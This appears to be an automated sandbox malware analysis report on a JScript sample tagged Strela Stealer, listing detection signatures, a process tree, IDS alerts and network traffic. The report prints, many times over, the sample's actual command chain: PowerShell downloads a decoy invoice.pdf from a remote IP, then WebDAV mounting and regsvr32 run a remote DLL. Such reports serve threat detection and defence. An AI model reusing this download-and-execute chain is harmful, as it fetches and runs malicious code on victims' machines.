Edit tour

Windows Analysis Report
27458284801797225280.js

Overview

General Information

Sample name:	27458284801797225280.js
Analysis ID:	1588315
MD5:	04f4d396586fe6d14935b57be4c2a995
SHA1:	50cdb79ef7bd9a4ac4e4b89c3552957e2a418f0a
SHA256:	c987350723d83b9a814d52279cc02cf338e1cd36650f03ed06753b56dc98afb7
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7916 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8060 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8104 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5912 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7312 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1748,i,15192425314672313782,17790185833074286355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6060 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1184 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7680 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7916	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8104, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8104, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ProcessId: 7916, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1184, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49728

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 8060, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 8060, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 8060, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 8060, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 8060, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ProcessId: 7916, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8060, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8104, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6060, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1184, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7680, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6060, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1184, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27458284801797225280.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7916, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll, ProcessId: 8060, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:54:01.227475+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49728	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:53:58.928646+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49712	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 27458284801797225280.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 27458284801797225280.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 27458284801797225280.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49728 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:53:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49728

Source: global traffic

TCP traffic: 192.168.2.10:49728 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:64013 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

